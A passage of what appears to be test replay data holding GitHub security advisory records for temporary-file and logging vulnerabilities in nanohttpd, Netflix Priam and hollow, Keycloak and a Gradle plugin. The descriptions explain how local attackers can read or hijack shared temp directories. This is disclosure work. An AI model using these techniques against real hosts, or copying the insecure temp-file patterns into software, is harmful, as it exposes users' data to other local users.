"starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-2r85-x9cf-8fcg", "cve_id": "CVE-2022-21230", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-2r85-x9cf-8fcg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-2r85-x9cf-8fcg", "summary": "Creation of Temporary File With Insecure Permissions in org.nanohttpd:nanohttpd", "description": "### Patches\r\n\r\nNo patches are available. The maintainers have been unresponsive. It may be appropriate to consider this project unmaintained at this point.\r\n\r\n### Impact\r\n\r\nThe `org.nanohttpd.protocols.http.tempfiles.DefaultTempFileManager` & `org.nanohttpd.protocols.http.tempfiles.DefaultTempFile` contain a local temporary file information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n#### Vulnerability Locations\r\n\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFile.java#L58\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFileManager.java#L60\r\n\r\nWhenever an HTTP Session is parsing the body of an HTTP request, the body of the request is written to a RandomAccessFile when the body is larger than 1024 bytes. Unfortunately, RandomAccessFile is created using a temporary file which is created with file permissions that allow it's contents to be viewed by all users on the host machine.\r\n\r\nhttps://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/HTTPSession.java#L611-L617\r\n\r\n### Workarounds\r\n\r\nManually specifying the `-Djava.io.tmpdir=` argument when launching Java to set set the temporary directory to a directory exclusively controlled by the current user can fix this issue.\r\n\r\n### References\r\n - https://security.snyk.io/vuln/SNYK-JAVA-ORGNANOHTTPD-2422798\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-2r85-x9cf-8fcg", "type": "GHSA" }, { "value": "CVE-2022-21230", "type": "CVE" } ], "state": "published", "created_at": "2022-01-28T02:33:00Z", "updated_at": "2022-04-06T18:38:01Z", "published_at": "2022-04-06T18:38:01Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.nanohttpd:nanohttpd" }, "vulnerable_version_range": "<=2.3.1", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" } ], "cwe_ids": [ "CWE-378" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-6m9h-r5m3-9r7f", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-6m9h-r5m3-9r7f", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-6m9h-r5m3-9r7f", "summary": "REDACTED", "description": "REDACTED", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-6m9h-r5m3-9r7f", "type": "GHSA" } ], "state": "closed", "created_at": "2022-01-20T23:27:50Z", "updated_at": "2023-02-27T19:48:30Z", "published_at": null, "closed_at": "2023-02-27T19:48:30Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": " ", "name": "REDACTED" }, "vulnerable_version_range": "3.16", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-f4jh-ww96-9h9j", "cve_id": "CVE-2021-28100", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-f4jh-ww96-9h9j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-f4jh-ww96-9h9j", "summary": "Netflix/Priam: Temporary Directory Information Disclosure", "description": "### Impact\r\n\r\nWhen `File.createTempFile` creates a file, the permissions on that file are -rw-r--r--. This means that other users can read the contents of these files after they are written, although they can not modify the contents. This allows for local information disclosure if these files contain sensitive information.\r\n\r\nVulnerable locations:\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/backup/MetaData.java#L106-L111\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/identity/DoubleRing.java#L109-L118\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/restore/PostRestoreHook.java#L80-L86\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-002.md\r\n\r\n## Fix\r\n\r\nThere are no fixed versions.", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-f4jh-ww96-9h9j", "type": "GHSA" }, { "value": "CVE-2021-28100", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:38:20Z", "updated_at": "2021-03-30T14:57:18Z", "published_at": "2021-03-30T14:57:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "Netflix/Priam" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "score": 6.2 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-j83w-7qr9-wv86", "cve_id": "CVE-2021-28099", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-j83w-7qr9-wv86", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-j83w-7qr9-wv86", "summary": "Netflix/hollow: Temporary directory hijacking", "description": "### Impact\r\nTemporary directory hijacking.\r\n\r\nThis vulnerability exists because Netflix/hollow will use files/directories that already exist on the system without first checking their permissions.\r\n\r\nThis vulnerability can be seen here:\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L112-L140\r\n\r\nSince the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions.\r\n\r\nAdditionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\r\n\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L110\r\n\r\nAs such, an attacker is fully able to control both the contents of the files and directories that HollowFilesystemBlobStager operates on.\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-001.md\r\n\r\n## Fixed Version\r\n\r\nThis vulnerability has not been patched.\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-j83w-7qr9-wv86", "type": "GHSA" }, { "value": "CVE-2021-28099", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:34:10Z", "updated_at": "2021-03-30T14:52:37Z", "published_at": "2021-03-30T14:52:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.netflix.hollow:hollow" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "score": 7.8 }, "cwes": [], "cwe_ids": [], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7gf3-89f6-823j", "cve_id": "CVE-2021-20202", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7gf3-89f6-823j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7gf3-89f6-823j", "summary": "Keycloak: Local Temporary Directory Hijacking Vulnerability", "description": "Utilizing a custom CodeQL query written as a part of the GitHub Security Lab Bug Bounty program, I've unearthed a local temporary directory hijacking vulnerability.\r\n\r\nThis particular vulnerability impacts Keycloak/keycloak\r\n\r\nYou can see the custom CodeQL query utilized here:\r\nhttps://lgtm.com/query/7674880310425951666/\r\n\r\nThis particular vulnerability exists because on unix-like systems (not including MacOS) the system temporary directory is shared between all users.\r\nAs such, failure to correctly set file permissions and/or verify exclusive creation of directories can lead to either local information disclosure, or local file hijacking by another user.\r\n\r\nIn the worse case scenario, this can lead to a local privilege escalation vulnerability, as it did in this vulnerability I disclosed in Jetty:\r\nhttps://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\r\n\r\nIn this case, it does not look like code is explicitly intended to be written to these directories. However, it does look like the GzipResourceEncodingProviderFactory.java is used as the creator of a cache. Thus, a malicious user can perform cache poisoning.\r\n\r\nAdditionally, DirExportProvider.java looks like it's being used to export information. This information can be corrupted by a different user.\r\n\r\nOne of many root causes here is that `mkdir` and `mkdirs` do not fail if the directory already exists. They merely return `false`. As such, an attacker can create these directories before the java process creates them, but with wider user permissions. Since these directory names are not in any way random, the attacker can simply create these directories ahead of Keycloak. When this happens, the java process doesn't complain that the directories already exist, `mkdir` and `mkdirs` simply return false.\r\n\r\nHowever, assuming that the java process is the first thing to create these directories, `mkdir` and `mkdirs` will only set the directory following the default umask (I believe); by default that means that these directories are created with the permissions `drwxr-xr-x`.\r\nThus allowing a malicious local user to read the contents of this temporary directory.\r\n\r\n## Official Disclosure\r\n\r\nhttps://access.redhat.com/security/cve/cve-2021-20202\r\n\r\n## Official Fix\r\nhttps://github.com/keycloak/keycloak/pull/7859/files", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7gf3-89f6-823j", "type": "GHSA" }, { "value": "CVE-2021-20202", "type": "CVE" } ], "state": "published", "created_at": "2021-03-16T14:47:16Z", "updated_at": "2021-12-22T20:26:37Z", "published_at": "2021-12-22T20:26:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.keycloak:keycloak-services" }, "vulnerable_version_range": "12.0.0 < 13.0.0", "patched_versions": "13.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "score": 6.3 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-jpcm-4485-69p7", "cve_id": "CVE-2021-21361", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-jpcm-4485-69p7", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-jpcm-4485-69p7", "summary": "Sensitive information disclosure via log in com.bmuschko:gradle-vagrant-plugin", "description": "### Impact\r\n\r\nThe `com.bmuschko:gradle-vagrant-plugin` Gradle plugin contains an information disclosure vulnerability due to the logging of the system environment variables.\r\n\r\nWhen this Gradle plugin is executed in public CI/CD, this can lead to sensitive credentials being exposed to malicious actors.\r\n\r\n### Patches\r\nFixed in version 3.0.0\r\n\r\n### References\r\n\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/blob/292129f9343d00d391543fae06239e9b0f33db73/src/main/groovy/com/bmuschko/gradle/vagrant/process/GDKExternalProcessExecutor.groovy#L42-L44\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/issues/19\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/pull/20\r\n\r\n### For more information\r\n\r\nIf you have any questions or comments about this advisory:\r\n* Open an issue in [bmuschko/gradle-vagrant-plugin](https://github.com/bmuschko/gradle-vagrant-plugin)\r\n\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-jpcm-4485-69p7", "type": "GHSA" }, { "value": "CVE-2021-21361", "type": "CVE" } ], "state": "published", "created_at": "2021-03-01T14:48:05Z", "updated_at": "2021-03-12T16:10:55Z", "published_at": "2021-03-08T17:44:33Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.bmuschko:gradle-vagrant-plugin" }, "vulnerable_version_range": "0.6<, < 3.0.0", "patched_versions": "3.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "score": 7.4 }, "cwes": [ { "cwe_id": "CWE-532", "name": "Insertion of Sensitive Information into Log File" }, { "cwe_id": "CWE-779", "name": "Logging of Excessive Data" } ], "cwe_ids": [ "CWE-532", "CWE-779" ], "credits": [ { "login": "britter", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "britter", "id": 1327662, "node_id": "MDQ6VXNlcjEzMjc2NjI=", "avatar_url": "https://avatars.githubusercontent.com/u/1327662?v=4", "gravatar_id": "", "url": "https://api.github.com/users/britter", "html_url": "https://github.com/britter", "followers_url": "https://api.github.com/users/britter/followers", "following_url": "https://api.github.com/users/britter/following{/other_user}", "gists_url": "https://api.github.com/users/britter/gists{/gist_id}", "starred_url": "https://api.github.com/users/britter/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/britter/subscriptions", "organizations_url": "https://api.github.com/users/britter/orgs", "repos_url": "https://api.github.com/users/britter/repos", "events_url": "https://api.github.com/users/britter/events{/privacy}", "received_events_url": "https://api.github.com/users/britter/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] } ] + diff --git a/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt 